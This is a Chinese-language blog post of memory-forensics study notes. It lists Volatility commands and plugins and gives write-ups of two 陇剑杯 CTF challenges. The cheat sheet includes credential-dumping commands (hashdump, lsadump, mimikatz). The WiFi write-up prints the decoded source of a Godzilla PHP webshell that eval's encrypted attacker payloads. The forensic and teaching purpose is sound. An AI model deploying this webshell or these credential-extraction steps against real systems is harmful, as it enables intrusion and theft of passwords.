0%

内存取证

最近的CTF遇到了内存取证题,之前没有系统学习过,赛后来补一波笔记

工具

Volatility简介

Volatility是一款开源的,基于Python开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Windows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。

安装

kali自带这个工具,但我的kali 2019.4没有(可能是因为mini安装),因此自己在windows上折腾了一下安装,推荐下载官方打包的可执行文件版,源码版的虽然也能用,但是需要自己安装第三方依赖库,distorm3这个依赖库安装起来比较麻烦。

基础使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 查看imagerinfo获取操作系统类型
volatility -f <filename> imageinfo

# 指定操作系统类型进行其他操作
volatility -f <filename> --profile <ostype>

# 查看进程
volatility -f <filename> --profile <ostype> pslist

# 查看文件
volatility -f <filename> --profile <ostype> filescan | grep -E "txt|xml|png|jpg|gif|zip|rar|7z|pdf|doc|docx|php|py|flag"

# 桌面
volatility -f <filename> --profile <ostype> filescan | grep -E "Desktop"

# 导出文件
volatility -f <filename> --profile <ostype> dumpfiles -Q <virtual address> -D <savedir>

# 获取系统用户名
volatility -f <filename> --profile <ostype> printkey -K "SAM\Domains\Account\Users\Names"

# 查看注册表
volatility -f <filename> --profile <ostype> hivelist

# 提取用户密码
volatility -f <filename> --profile <ostype> hashdump -y <注册表 system 的 virtual 地址> -s <SAM 的 virtual 地址>

# 获取IE浏览器历史记录
volatility -f <filename> --profile <ostype> iehistory

# 查看网络连接
volatility -f <filename> --profile <ostype> netscan

# 将内存中的某个进程数据以 dmp 的格式保存出来
volatility -f <filename> --profile <ostype> memdump -p <pid> -D <savedir>

# 查看命令行历史记录
volatility -f <filename> --profile <ostype> cmdscan

# 查看进程命令行参数
volatility -f <filename> --profile <ostype> cmdline
支持的插件列表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
amcache             # 查看 AmCache 应用程序痕迹信息
apihooks # 检测内核及进程的内存空间中的 API hook
atoms # 列出会话及窗口站 atom 表
atomscan # Atom 表的池扫描(Pool scanner)
auditpol # 列出注册表 HKLM\SECURITY\Policy\PolAdtEv 的审计策略信息
bigpools # 使用 BigPagePoolScanner 转储大分页池(big page pools)
bioskbd # 从实时模式内存中读取键盘缓冲数据(早期电脑可以读取出 BIOS 开机密码)
cachedump # 获取内存中缓存的域帐号的密码哈希
callbacks # 打印全系统通知例程
clipboard # 提取 Windows 剪贴板中的内容
cmdline # 显示进程命令行参数
cmdscan # 提取执行的命令行历史记录(扫描_COMMAND_HISTORY 信息)
connections # 打印系统打开的网络连接(仅支持 Windows XP 和 2003)
connscan # 打印 TCP 连接信息
consoles # 提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION 信息)
crashinfo # 提取崩溃转储信息
deskscan # tagDESKTOP 池扫描(Poolscaner)
devicetree # 显示设备树信息
dlldump # 从进程地址空间转储动态链接库
dlllist # 打印每个进程加载的动态链接库列表
driverirp # IRP hook 驱动检测
drivermodule # 关联驱动对象至内核模块
driverscan # 驱动对象池扫描
dumpcerts # 提取 RAS 私钥及 SSL 公钥
dumpfiles # 提取内存中映射或缓存的文件
dumpregistry # 转储内存中注册表信息至磁盘
editbox # 查看 Edit 编辑控件信息 (Listbox 正在实验中)
envars # 显示进程的环境变量
eventhooks # 打印 Windows 事件 hook 详细信息
evtlogs # 提取 Windows 事件日志(仅支持 XP/2003)
filescan # 提取文件对象(file objects)池信息
gahti # 转储用户句柄(handle)类型信息
gditimers # 打印已安装的 GDI 计时器 (timers) 及回调(callbacks)
gdt # 显示全局描述符表(Global Descriptor Table)
getservicesids # 获取注册表中的服务名称并返回 SID 信息
getsids # 打印每个进程的 SID 信息
handles # 打印每个进程打开的句柄的列表
hashdump # 转储内存中的 Windows 帐户密码哈希(LM/NTLM)
hibinfo # 转储休眠文件信息
hivedump # 打印注册表配置单元信息
hivelist # 打印注册表配置单元列表
hivescan # 注册表配置单元池扫描
hpakextract # 从 HPAK 文件(Fast Dump 格式)提取物理内存数据
hpakinfo # 查看 HPAK 文件属性及相关信息
idt # 显示中断描述符表(Interrupt Descriptor Table)
iehistory # 重建 IE 缓存及访问历史记录
imagecopy # 将物理地址空间导出原生 DD 镜像文件
imageinfo # 查看 / 识别镜像信息
impscan # 扫描对导入函数的调用
joblinks # 打印进程任务链接信息
kdbgscan # 搜索和转储潜在 KDBG 值
kpcrscan # 搜索和转储潜在 KPCR 值
ldrmodules # 检测未链接的动态链接 DLL
lsadump # 从注册表中提取 LSA 密钥信息(已解密)
machoinfo # 转储 Mach-O 文件格式信息
malfind # 查找隐藏的和插入的代码
mbrparser # 扫描并解析潜在的主引导记录(MBR)
memdump # 转储进程的可寻址内存
memmap # 打印内存映射
messagehooks # 桌面和窗口消息钩子的线程列表
mftparser # 扫描并解析潜在的 MFT 条目
moddump # 转储内核驱动程序到可执行文件的示例
modscan # 内核模块池扫描
modules # 打印加载模块的列表
multiscan # 批量扫描各种对象
mutantscan # 对互斥对象池扫描
notepad # 查看记事本当前显示的文本
objtypescan # 扫描窗口对象类型对象
patcher # 基于页面扫描的补丁程序内存
poolpeek # 可配置的池扫描器插件
printkey # 打印注册表项及其子项和值
privs # 显示进程权限
procdump # 进程转储到一个可执行文件示例
pslist # 按照 EPROCESS 列表打印所有正在运行的进程
psscan # 进程对象池扫描
pstree # 以树型方式打印进程列表
psxview # 查找带有隐藏进程的所有进程列表
qemuinfo # 转储 Qemu 信息
raw2dmp # 将物理内存原生数据转换为 windbg 崩溃转储格式
screenshot # 基于 GDI Windows 的虚拟屏幕截图保存
servicediff # Windows 服务列表(ala Plugx)
sessions # _MM_SESSION_SPACE 的详细信息列表(用户登录会话)
shellbags # 打印 Shellbags 信息
shimcache # 解析应用程序兼容性 Shim 缓存注册表项
shutdowntime # 从内存中的注册表信息获取机器关机时间
sockets # 打印已打开套接字列表
sockscan # TCP 套接字对象池扫描
ssdt # 显示 SSDT 条目
strings # 物理到虚拟地址的偏移匹配(需要一些时间,带详细信息)
svcscan # windows 服务列表扫描
symlinkscan # 符号链接对象池扫描
thrdscan # 线程对象池扫描
threads # 调查_ETHREAD 和_KTHREADs
timeliner # 创建内存中的各种痕迹信息的时间线
timers # 打印内核计时器及关联模块的 DPC
truecryptmaster # 恢复 TrueCrypt 7.1a 主密钥
truecryptpassphrase # 查找并提取 TrueCrypt 密码
truecryptsummary # TrueCrypt 摘要信息
unloadedmodules # 打印卸载的模块信息列表
userassist # 打印注册表中 UserAssist 相关信息
userhandles # 转储用户句柄表
vaddump # 转储 VAD 数据为文件
vadinfo # 转储 VAD 信息
vadtree # 以树形方式显示 VAD 树信息
vadwalk # 显示遍历 VAD 树
vboxinfo # 转储 Virtualbox 信息(虚拟机)
verinfo # 打印 PE 镜像中的版本信息
vmwareinfo # 转储 VMware VMSS/VMSN 信息
volshell # 内存镜像中的 shell
windows # 打印桌面窗口(详细信息)
wintree # Z 顺序打印桌面窗口树
wndscan # 池扫描窗口站
yarascan # 以 Yara 签名扫描进程或内核内存

实战题目

陇剑杯内存分析

查看操作系统类型

这题各种操作都尝试了一遍没什么发现,后来根据提示才发现lsadump可直接获取flag

安装mimikatz插件后,直接获取密码/flag

查看文件的时候发现桌面上有一个HUAWEI的可执行文件

dump下来

修改文件后缀位exe后打开发现是winrar自解压文件,解压得到

通过搜索发现是华为手机助手备份文件,在github发现解密脚本:

https://github.com/RealityNet/kobackupdec

需要输入密码,现在只有之前获取的flag可以试试,结合tips.txt的提示no space but underline,密码应该是:W31C0M3_T0_THiS_34SY_F0R3NSiCX

查看解密的图片获取flag

陇剑杯Wifi

查看操作系统类型

查看可疑文件

dump这两个文件,解压My_Wifi.zip,发现需要密码

winhex查看压缩包发现提示

在怎么获取guid这个问题上卡了很久,一直以为是从注册表获取,但是找了注册表常见的一些位置都没有发现网络适配器的guid。后来看了雪殇的wp,发现原来直接查看文件找Interfaces就可以…

.\volatility.exe -f "Windows 7-dde00fa9.vmem" --profile Win7SP1x86 filescan | grep Interfaces

解压密码需要guid和{}一起输入,解压后得到密码

这里没发现客户端.cap是加密的,因为没见过这种题,知识盲区,太菜了

加密后的客户端.cap

airdecap-ng进行解密,密码为之前发现的密码

-e SSID

查看服务端流量,直接看http

结合后续两个请求,可以确认为哥斯拉shell初始化的流量特征,urldecode-翻转-base64decode后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

哥斯拉的加密函数和解密函数相同

查看解密后的客户端流量,找到客户端返回结果:哥斯拉初始化shell的下一个tcp流

解密响应内容,只需解密首尾16位md5以外的内容,即哥斯拉的输出内容:fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=

哥斯拉输出结果是将结果使用gzencode压缩后加密

1
2
$result=gzencode($result,6);
echo base64_encode(encode(@run($data),$key));

解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$tmp = 'fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=';
echo gzdecode(encode(base64_decode($tmp),'3c6e0b8a9c15224a'));

解密后即可获取flag

参考链接

内存取证(总结篇)

陇剑杯wp

哥斯拉流量特征